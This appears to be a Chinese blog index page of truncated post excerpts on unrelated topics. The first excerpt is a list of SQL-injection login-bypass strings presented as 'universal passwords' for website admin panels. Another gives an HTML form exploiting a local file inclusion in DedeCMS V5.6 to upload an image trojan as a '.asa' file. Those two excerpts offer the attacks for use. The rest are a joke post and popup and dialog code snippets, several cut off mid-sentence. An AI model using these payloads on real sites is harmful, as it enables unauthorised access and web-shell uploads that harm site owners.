网站后台“万能密码” 'or'='or' 的总结

各种利用形式如下: 'or'='or' 'or''=' 'or ''=' " or "a"="a "or "a"="a "or 1=1-- "or 1=1%00 "or"="a'='a "or=or" ') or ('a'='a ')or('a'='a 1 or '1'='1' or 1=1 1 or '1'='1'=1 1'or'1'='1 admin' or 'a'='a 密码随便 admin'or'1'='1'-- admin' or '1'='1'-- a'or' 1=1-- a 'or' 1=1-- or 1=1-- 'or 1=1-- 'or' '1'='1 or 1=1-- ' 'OR 1=1%00 or 'a'='a 'or'='1' 'or''=''or''=' ' or

【转载】蛋疼的文字

那位仁兄与此有才啊。。晕倒 厂下广卞廿士十一卉半与本二上旦上二本与半卉一十士廿卞广下厂下广卞廿士十一卉半与本二上旦上二本与半卉一十士廿卞广下厂

DedeCmsV5.6 本地包含里的上传漏洞

之前就发现了这本地包含的利用方法。 <form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch"> <input type="hidden" name="newname" value="1.asa"> <input type="file" name="uploadfile"> <input type="submit" value="搜索" name="QuickSearchBtn"> </form> 上传一个图片木马(只改后辍名为图片类型就行),即可在

【Html】随意控制弹出窗口大小及样式

<a href=# onclick=window.open('http://www.baidu.com/','','width=600,height=500,Scrollbar=yes')>600*500</a> 不加修饰的弹出窗口 将下面这段代码插入你的页面中,在页面加载时就会自动弹出一个窗口,并打开Google搜索引擎,是不是很简单啊! 将代码放

Java弹出对话框 三种形式

<script language="javascript" type="text/javascript"> function ale() {alert("我敢保证,你现在用的是演示一"); } //这个基本没有什么说的,就是弹出一个提醒的对话框 function firm() { //利用对话框返回的值